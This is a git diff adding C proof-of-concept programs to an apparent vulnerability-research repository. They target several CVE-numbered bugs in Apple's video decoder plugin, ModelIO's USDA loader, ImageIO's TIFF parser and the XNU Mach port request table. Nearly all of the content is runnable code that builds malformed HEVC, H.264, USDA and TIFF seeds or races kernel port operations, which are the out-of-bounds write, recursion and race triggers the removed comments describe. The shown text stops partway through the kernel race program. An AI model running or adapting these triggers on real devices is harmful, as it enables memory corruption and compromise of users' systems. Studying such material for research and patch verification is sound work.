diff --git a/.gitignore b/.gitignore index bf210dc..33afb07 100644 --- a/.gitignore +++ b/.gitignore @@ -10,5 +10,25 @@ deep_nest.usda ktx2_bad_dims.ktx2 stack_bomb.cff +# C POC twin default outputs (written to CWD when run without arguments) +avc_900_slices.h264 +bc7_short.dds +cinder27_traversal_probe.txt +cmap_probe.pdf +crash_shading_r136.pdf +decmpfs_probe.bin +direntry_wrap.tif +gdef_caret_chase.ttf +gps_oob.jpg +gpt_overlong_name.img +hevc_bad_layer.hevc +joliet_oob.iso +marker_length.jpg +planar_scatter.tif +rpu_probe_1x6.bin +traversal.zip +trunc_strip.tif +usercomment_oob.jpg + # macOS .DS_Store diff --git a/CVE-2026-112415/CVE-2026-112415.c b/CVE-2026-112415/CVE-2026-112415.c new file mode 100644 index 0000000..3777af9 --- /dev/null +++ b/CVE-2026-112415/CVE-2026-112415.c @@ -0,0 +1,68 @@ +// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415 +// HEVC layer id outside the validated range +// C twin of the Swift POC: builds the bad-layer-id HEVC stream and drives it through +// CMVideoFormatDescriptionCreateFromHEVCParameterSets. +// Build: clang -O2 -o cve-2026-112415 CVE-2026-112415.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation +// Run: ./cve-2026-112415 [layer-id] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── seed construction (from Cinder27 Sources: VideoPayload.hevcBadLayerID) ── +static buf hevc_bad_layer_id(uint8_t layer_id) { + buf out = {0}; + bcat(&out, "\x00\x00\x00\x01", 4); // Annex-B start code + // VPS NAL, two-byte header carrying the out-of-range layer id + bcat(&out, (uint8_t[]){0x40, 0x01, layer_id, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60}, 9); + bcat(&out, "\x00\x00\x00\x01", 4); + bcat(&out, (uint8_t[]){0x42, 0x01, layer_id, 0x01, 0x60, 0x00}, 6); // SPS + brep(&out, 0, 16); + return out; +} + +// ── trigger: parameter-set parse through VideoToolbox ── +#include +#include +#include + +int main(int argc, char **argv) { + uint8_t layer_id = argc > 1 ? (uint8_t)strtoul(argv[1], NULL, 0) : 0x3F; + + buf data = hevc_bad_layer_id(layer_id); + FILE *f = fopen("hevc_bad_layer.hevc", "wb"); + if (f) { fwrite(data.d, 1, data.n, f); fclose(f); } + + CMFormatDescriptionRef format = NULL; + const uint8_t *ptr = data.d; + OSStatus status = CMVideoFormatDescriptionCreateFromHEVCParameterSets( + kCFAllocatorDefault, + 1, // one parameter set: the whole buffer + &ptr, + (size_t[]){data.n}, + 4, // 4-byte NAL unit header length + NULL, + &format); + + printf("CVE-2026-112415 · layer id 0x%02x · OSStatus %d\n", layer_id, (int)status); + if (format) { + CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format); + printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height); + CFRelease(format); + } else { + printf("no format description produced (rejected at entry)\n"); + } + printf("seed: hevc_bad_layer.hevc (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1)); + int rc = status == noErr ? 0 : 1; + bfree(&data); + return rc; +} diff --git a/CVE-2026-112415/CVE-2026-112415.swift b/CVE-2026-112415/CVE-2026-112415.swift index e11d0fa..6a32d99 100644 --- a/CVE-2026-112415/CVE-2026-112415.swift +++ b/CVE-2026-112415/CVE-2026-112415.swift @@ -1,19 +1,8 @@ -// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415 -// 原语: OOB 读 · 系统进程 · tier 2 -// Primitive: OOB read · system process · tier 2 -// -// [zh] MVHEVC 层 ID 越界 -// 多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。 -// -// [en] MVHEVC layer id out of range -// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight -// into the plugin's layer table index. iOS 27.2 adds layer id validation. -// ── 判别 / oracle ── -// 层 ID 取 0x3F(有效范围之外)。 - +// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415 +// MVHEVC layer id out of range import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -34,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── +// ── seed construction (from Cinder27 Sources: VideoPayload) ── enum VideoPayload { static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data { var out = Data() diff --git a/CVE-2026-112416/CVE-2026-112416.c b/CVE-2026-112416/CVE-2026-112416.c new file mode 100644 index 0000000..a29133f --- /dev/null +++ b/CVE-2026-112416/CVE-2026-112416.c @@ -0,0 +1,72 @@ +// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416 +// H.264 slice count beyond the plugin cap +// C twin of the Swift POC: builds the 900-slice AVC stream and drives it through +// CMVideoFormatDescriptionCreateFromH264ParameterSets. +// Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation +// Run: ./cve-2026-112416 [slice-count] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ── +static buf avc_many_slices(int slice_count) { + buf out = {0}; + bcat(&out, "\x00\x00\x00\x01", 4); // start code + bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4); // SPS + bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3); // exp-golomb fields + brep(&out, 0, 8); // structurally plausible tail + bcat(&out, "\x00\x00\x00\x01", 4); + bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4); // PPS + for (int i = 0; i < slice_count; i++) { + bcat(&out, "\x00\x00\x00\x01", 4); + bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4); // slice header + brep(&out, 0, 4); + } + return out; +} + +// ── trigger: parameter-set parse through VideoToolbox ── +#include +#include +#include + +int main(int argc, char **argv) { + int slice_count = argc > 1 ? atoi(argv[1]) : 900; + + buf data = avc_many_slices(slice_count); + FILE *f = fopen("avc_900_slices.h264", "wb"); + if (f) { fwrite(data.d, 1, data.n, f); fclose(f); } + + CMFormatDescriptionRef format = NULL; + const uint8_t *ptr = data.d; + OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets( + kCFAllocatorDefault, + 1, // one parameter set: the first 4 bytes, as the Swift POC passes + &ptr, + (size_t[]){4}, + 4, // 4-byte NAL unit header length + &format); + + printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status); + if (format) { + CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format); + printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height); + CFRelease(format); + } else { + printf("no format description produced (rejected at entry)\n"); + } + printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1)); + int rc = status == noErr ? 0 : 1; + bfree(&data); + return rc; +} diff --git a/CVE-2026-112416/CVE-2026-112416.swift b/CVE-2026-112416/CVE-2026-112416.swift index 4efd60e..cecab4b 100644 --- a/CVE-2026-112416/CVE-2026-112416.swift +++ b/CVE-2026-112416/CVE-2026-112416.swift @@ -1,22 +1,8 @@ -// vid.avc · AVD.videodecoder 插件(非 kext) · CVE-2026-112416 -// 原语: OOB 写 · 系统进程 · tier 2 -// Primitive: OOB write · system process · tier 2 -// -// [zh] AVC 切片数量上限缺失 -// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为 -// MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。 -// -// [en] AVC slice count cap missing -// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not -// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation, -// and 112454 replaces the histogram IOSurface pointer with a random cookie. -// ── 判别 / oracle ── -// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession, -// 以插件自身错误码判定。 - +// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416 +// AVC slice count cap missing import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── +// ── seed construction (from Cinder27 Sources: VideoPayload) ── enum VideoPayload { static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data { var out = Data() diff --git a/CVE-2026-112485/CVE-2026-112485.c b/CVE-2026-112485/CVE-2026-112485.c new file mode 100644 index 0000000..9cd0ea9 --- /dev/null +++ b/CVE-2026-112485/CVE-2026-112485.c @@ -0,0 +1,76 @@ +// mdl.usda · ModelIO / libusd_ms · USDA declaration nesting · CVE-2026-112485 +// Unbounded recursion on deeply nested USDA definitions +// C twin of the Swift POC: builds the 2000-deep Xform USDA and loads it through +// MDLAsset (objc runtime casts; libusd_ms runs underneath ModelIO). +// Build: clang -O2 -o cve-2026-112485 CVE-2026-112485.c -framework ModelIO -framework CoreFoundation -lobjc +// Run: ./cve-2026-112485 [depth] + +#include +#include +#include +#include +#include +#include +#include + +// ── seed construction (from CVE-2026-112485.py: build_usda) ── +static char *build_usda(int depth, size_t *out_n) { + // head + 'def Xform "nI" {' * depth + '}' * depth + newline + const char *head = "#usda 1.0\n\n"; + size_t open_len = strlen("def Xform \"n0000\" {"); + size_t head_n = strlen(head); + size_t body_n = (size_t)depth * open_len; + size_t tail_n = (size_t)depth; + char *out = malloc(head_n + body_n + tail_n + 2); + size_t n = 0; + memcpy(out, head, head_n); n = head_n; + for (int i = 0; i < depth; i++) { + n += (size_t)snprintf(out + n, open_len + 1, "def Xform \"n%d\" {", i); + } + memset(out + n, '}', (size_t)depth); n += (size_t)depth; + out[n++] = '\n'; + out[n] = 0; + *out_n = n; + return out; +} + +// ── trigger: MDLAsset(url:) + count (objc_msgSend casts, arm64) ── +static id (*msg_id)(id, SEL); // alloc +static id (*msg_id_url)(id, SEL, CFURLRef); // initWithURL: +static unsigned long (*msg_ul)(id, SEL); // count + +int main(int argc, char **argv) { + int depth = argc > 1 ? atoi(argv[1]) : 2000; + + msg_id = (id (*)(id, SEL))objc_msgSend; + msg_id_url = (id (*)(id, SEL, CFURLRef))objc_msgSend; + msg_ul = (unsigned long (*)(id, SEL))objc_msgSend; + + size_t n = 0; + char *usda = build_usda(depth, &n); + FILE *f = fopen("deep_nest.usda", "wb"); + if (f) { fwrite(usda, 1, n, f); fclose(f); } + printf("USDA %zu B · %d levels of nesting\n", n, depth); + + CFURLRef url = CFURLCreateWithFileSystemPath(NULL, + CFSTR("deep_nest.usda"), kCFURLPOSIXPathStyle, false); + + Class mdlAsset = objc_getClass("MDLAsset"); + if (!mdlAsset) { printf("MDLAsset class unavailable\n"); return 1; } + + clock_t t0 = clock(); + id asset = msg_id_url(msg_id((id)mdlAsset, sel_registerName("alloc")), + sel_registerName("initWithURL:"), url); + double ms = (double)(clock() - t0) / CLOCKS_PER_SEC * 1000.0; + + if (!asset) { + printf("CVE-2026-112485 · MDLAsset returned nil after %.0f ms\n", ms); + } else { + unsigned long count = msg_ul(asset, sel_registerName("count")); + printf("CVE-2026-112485 · MDLAsset load complete %.0f ms, objects %lu\n", ms, count); + } + printf("seed: deep_nest.usda · libusd_ms caps nesting in 24.1.32, 27.0 recurses unbounded\n"); + CFRelease(url); + free(usda); + return 0; +} diff --git a/CVE-2026-112485/CVE-2026-112485.py b/CVE-2026-112485/CVE-2026-112485.py index dd27c4a..694e306 100644 --- a/CVE-2026-112485/CVE-2026-112485.py +++ b/CVE-2026-112485/CVE-2026-112485.py @@ -1,23 +1,4 @@ #!/usr/bin/env python3 -# mdl.usda · Model I/O · libusd_ms · CVE-2026-112485 -# 原语: OOB 读 · 进程内 | Primitive: OOB read · in-process -# -# [zh] USDA 声明嵌套深度 -# Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile -# 尺寸检查。ModelIO.dylib 自身不含任何修复。 -# -# [en] USDA declaration nesting depth -# The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation, -# Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib -# itself carries none of the fix. -# -# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py -# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112485.swift -# triggers (run closures) & non-seed builders: CVE-2026-112485.swift in this folder - - - -# --------------------------------------------------------------------------- USDA nesting def build_usda(depth=2000): """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded.""" head = "#usda 1.0\n\n" diff --git a/CVE-2026-112485/CVE-2026-112485.swift b/CVE-2026-112485/CVE-2026-112485.swift index b95e1c6..c711bf6 100644 --- a/CVE-2026-112485/CVE-2026-112485.swift +++ b/CVE-2026-112485/CVE-2026-112485.swift @@ -1,24 +1,9 @@ // mdl.usda · Model I/O · libusd_ms · CVE-2026-112485 -// 原语: OOB 读 · 进程内 · tier 2 -// Primitive: OOB read · in-process · tier 2 -// -// [zh] USDA 声明嵌套深度 -// Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile -// 尺寸检查。ModelIO.dylib 自身不含任何修复。 -// -// [en] USDA declaration nesting depth -// The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation, -// Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib -// itself carries none of the fix. -// ── 判别 / oracle ── -// 2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝,27.0 递归下去。 -// -// 种子构建器(python,可直接运行): CVE-2026-112485/CVE-2026-112485.py -// runnable python seed builder: CVE-2026-112485/CVE-2026-112485.py - +// USDA declaration nesting depth +// Standalone builder: CVE-2026-112485.py import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -40,4 +25,3 @@ enum B { } - diff --git a/CVE-2026-112488/CVE-2026-112488.c b/CVE-2026-112488/CVE-2026-112488.c new file mode 100644 index 0000000..b8bdc06 --- /dev/null +++ b/CVE-2026-112488/CVE-2026-112488.c @@ -0,0 +1,86 @@ +// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488 +// TIFF directory entry allocation 32-bit truncation +// C twin of the Swift POC: builds the wrapped-count TIFF and decodes it through ImageIO. +// Build: clang -O2 -o cve-2026-112488 CVE-2026-112488.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112488 [count] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── seed construction (from Cinder27 Sources: TIFFPayload.dirEntryAllocWrap) ── +static buf tiff_dir_entry_wrap(uint32_t count) { + buf out = {0}; + bcat(&out, "II\x2a\x00", 4); // little-endian TIFF + bput(&out, 8); bput(&out, 0); bput(&out, 0); bput(&out, 0); // IFD0 at 8 + bput(&out, 3); bput(&out, 0); // 3 entries + // entry: ImageWidth SHORT 1 = 1 + bput(&out, 0); bput(&out, 1); + bput(&out, 3); bput(&out, 0); + bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0); + bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0); + // entry: ImageLength SHORT 1 = 1 + bput(&out, 1); bput(&out, 1); + bput(&out, 3); bput(&out, 0); + bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0); + bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0); + // entry: wrapped-count carrier, SBYTE (type 6) array, count << 0 wraps at 32 bits + bput(&out, 0x00); bput(&out, 0x01); + bput(&out, 6); bput(&out, 0); + bcat(&out, (uint8_t[]){count & 0xff, (count >> 8) & 0xff, (count >> 16) & 0xff, (count >> 24) & 0xff}, 4); + bcat(&out, (uint8_t[]){64, 0, 0, 0}, 4); // value offset 64 + bput(&out, 0); bput(&out, 0); bput(&out, 0); bput(&out, 0); // next IFD + brep(&out, 0, 64); // value area + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x20000000; + + buf tiff = tiff_dir_entry_wrap(count); + FILE *f = fopen("direntry_wrap.tif", "wb"); + if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&tiff, &detail); + printf("CVE-2026-112488 · count=0x%08x type=SBYTE · %s\n", count, detail ? detail : "?"); + printf("seed: direntry_wrap.tif (%zu B) · exit code %d\n", tiff.n, rc); + bfree(&tiff); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112488/CVE-2026-112488.swift b/CVE-2026-112488/CVE-2026-112488.swift index 0584d9a..6567c1e 100644 --- a/CVE-2026-112488/CVE-2026-112488.swift +++ b/CVE-2026-112488/CVE-2026-112488.swift @@ -1,22 +1,8 @@ // iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488 -// 原语: OOB 写 · 进程内 · tier 2 -// Primitive: OOB write · in-process · tier 2 -// -// [zh] TIFF 目录项分配 32 位截断 -// 输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0, -// 而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。 -// -// [en] TIFF directory entry allocation 32-bit truncation -// The output allocation size is computed as lsl w0, count, #log2(elemsize) — a 32-bit truncation. -// With count = 0x20000000 and 8-byte elements the allocation wraps to zero while the per-element -// conversion loop still performs count writes. iOS 27.2 switches to _TIFFCheckMalloc_type's 64-bit -// checked size. -// ── 判别 / oracle ── -// 该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。 - +// TIFF directory entry allocation 32-bit truncation import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -38,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112507/CVE-2026-112507.c b/CVE-2026-112507/CVE-2026-112507.c new file mode 100644 index 0000000..cc6a708 --- /dev/null +++ b/CVE-2026-112507/CVE-2026-112507.c @@ -0,0 +1,266 @@ +// kern.ipc · XNU ipc_port.c request-table index consumers · CVE-2026-112507 +// Mach port request-table stale-index race +// C twin of the Swift POC: 4 pthreads drive allocate/notify/teardown rings on the task +// port namespace for 6 s (depth 48, budget 6000). The 27.2 kernel added ipr != NULL / +// table != NULL checks over every index-consumer of the per-space port-request table. +// Build: clang -O2 -o cve-2026-112507 CVE-2026-112507.c -lpthread +// Run: ./cve-2026-112507 [seconds] [workers] [depth] + +#include +#include +#include +#include +#include +#include + +#define TOTAL_BUDGET 6000 + +// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ── +typedef struct { + long operations, allocations, notifications, sends, deallocations; + int budget_exhausted; + long notifications_refused; + long budget; + // kernel error codes, slot-hashed + int err_codes[32]; long err_counts[32]; char err_names[32][40]; int nerrs; + pthread_mutex_t lock; +} stats_t; + +static stats_t S; + +static void record(kern_return_t kr) { + if (kr == KERN_SUCCESS) return; + pthread_mutex_lock(&S.lock); + int slot = -1; + for (int i = 0; i < S.nerrs; i++) if (S.err_codes[i] == kr) { slot = i; break; } + if (slot < 0 && S.nerrs < 32) { + slot = S.nerrs++; + S.err_codes[slot] = kr; + const char *n = mach_error_string(kr); + snprintf(S.err_names[slot], sizeof S.err_names[slot], "%s", n ? n : "unknown"); + } + if (slot >= 0) S.err_counts[slot]++; + pthread_mutex_unlock(&S.lock); +} + +// ── the ring (mirror of KernelIPC.ring) ── +// allocate RECEIVE rights, arm two notification kinds per port, tear half the ring down +// while the other half still holds armed notifications — the interleaving the +// request-table index consumers have to survive. +// +// Resource discipline: mod_refs with a negative delta against a zero send-ref count +// does not return an error on this platform — it SIGKILLs the process. Check first. +typedef struct { long alloc, notify, send, dealloc; } ring_result; + +static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) { + ring_result r = {0, 0, 0, 0}; + mach_port_name_t ports[512]; + int nports = 0; + if (depth > 512) depth = 512; + + for (int i = 0; i < depth; i++) { + if (*budget <= 0) break; + mach_port_name_t name = 0; + kern_return_t kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &name); + if (kr == KERN_SUCCESS) { + ports[nports++] = name; + r.alloc++; + (*budget)--; + } else { + record(kr); + break; + } + } + + // MACH_MSG_TYPE_MAKE_SEND on our own receive right keeps the port alive + for (int i = 0; i < nports; i++) { + mach_port_t p = ports[i]; + mach_port_t prev = 0; + kern_return_t kr1 = mach_port_request_notification( + task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, + (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev); + if (kr1 != KERN_SUCCESS) { + record(kr1); + if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++; + } + if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1); + r.notify++; + + mach_port_t prev2 = 0; + kern_return_t kr2 = mach_port_request_notification( + task, p, MACH_NOTIFY_DEAD_NAME, 0, p, + (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2); + if (kr2 != KERN_SUCCESS) { + record(kr2); + if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++; + } + if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1); + r.notify++; + } + + // teardown half the ring while the other half still holds armed notifications + for (int i = 0; i < nports; i += 2) { + mach_port_t p = ports[i]; + mach_port_urefs_t refs = 0; + if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS && refs > 0) { + kern_return_t kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1); + if (kr != KERN_SUCCESS) record(kr); + } + r.dealloc++; + } + + for (int i = 1; i < nports; i += 2) { + mach_port_t p = ports[i]; + mach_msg_header_t header; + memset(&header, 0, sizeof header); + header.msgh_bits = (mach_msg_bits_t)MACH_MSG_TYPE_COPY_SEND; + header.msgh_size = (mach_msg_size_t)sizeof header; + header.msgh_remote_port = p; + header.msgh_local_port = 0; + header.msgh_id = 0; + kern_return_t kr = mach_msg_send(&header); + if (kr != KERN_SUCCESS) record(kr); + r.send++; + } + + // release every remaining right, then the name; destruct with delta 0 only + // succeeds once the right count is already 0 + for (int i = 0; i < nports; i++) { + mach_port_t p = ports[i]; + mach_port_urefs_t urefs = 0; + if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS && urefs > 0) { + mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -(mach_port_delta_t)urefs); + } + kern_return_t kr = mach_port_destruct(task, p, 0, 0); + if (kr != KERN_SUCCESS) { + // deliberate fallback: destroy tolerates outstanding rights +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wdeprecated-declarations" + mach_port_destroy(task, p); +#pragma clang diagnostic pop + } + r.dealloc++; + } + return r; +} + +static double g_seconds = 6.0; +static struct timespec g_deadline; + +static int past_deadline(void) { + struct timespec now; + clock_gettime(CLOCK_MONOTONIC, &now); + if (now.tv_sec > g_deadline.tv_sec) return 1; + if (now.tv_sec == g_deadline.tv_sec && now.tv_nsec >= g_deadline.tv_nsec) return 1; + return 0; +} + +static int g_depth = 48; + +static void *worker(void *arg) { + (void)arg; + long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0; + + while (!past_deadline()) { + pthread_mutex_lock(&S.lock); + int remaining = (int)S.budget; + pthread_mutex_unlock(&S.lock); + if (remaining <= 0) { + pthread_mutex_lock(&S.lock); + S.budget_exhausted = 1; + pthread_mutex_unlock(&S.lock); + break; + } + + int slice = g_depth < remaining ? g_depth : remaining; + long refused = 0; + ring_result res = ring(mach_task_self(), slice, &slice, &refused); + if (refused > 0) { + pthread_mutex_lock(&S.lock); + S.notifications_refused += refused; + pthread_mutex_unlock(&S.lock); + } + local_alloc += res.alloc; + local_notify += res.notify; + local_send += res.send; + local_dealloc += res.dealloc; + local_ops += 4; + + pthread_mutex_lock(&S.lock); + S.budget -= res.alloc; + pthread_mutex_unlock(&S.lock); + } + + pthread_mutex_lock(&S.lock); + S.operations += local_ops; + S.allocations += local_alloc; + S.notifications += local_notify; + S.sends += local_send; + S.deallocations += local_dealloc; + pthread_mutex_unlock(&S.lock); + return NULL; +} + +// ── baseline (mirror of KernelIPC.baseline) ── +static void baseline(void) { + mach_port_t task = mach_task_self(); + + mach_port_t bootstrap = 0; + kern_return_t kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap); + printf("bootstrap: %s port=%d\n", mach_error_string(kr), bootstrap); + + mach_port_name_array_t names = NULL; + mach_port_type_array_t types = NULL; + mach_msg_type_number_t name_count = 0, type_count = 0; + kern_return_t kr2 = mach_port_names(task, &names, &name_count, &types, &type_count); + printf("port_names: %s count=%u\n", mach_error_string(kr2), name_count); + if (names) { + vm_deallocate(task, (vm_address_t)(uintptr_t)names, name_count * sizeof(mach_port_name_t)); + } + if (types) { + vm_deallocate(task, (vm_address_t)(uintptr_t)types, type_count * sizeof(mach_port_type_t)); + } +} + +int main(int argc, char **argv) { + g_seconds = argc > 1 ? atof(argv[1]) : 6.0; + int workers = argc > 2 ? atoi(argv[2]) : 4; + g_depth = argc > 3 ? atoi(argv[3]) : 48; + if (g_depth > 512) g_depth = 512; + + pthread_mutex_init(&S.lock, NULL); + S.budget = TOTAL_BUDGET; + + printf("— baseline —\n"); + baseline(); + + struct timespec start; + clock_gettime(CLOCK_MONOTONIC, &start); + g_deadline.tv_sec = (time_t)(start.tv_sec + g_seconds); 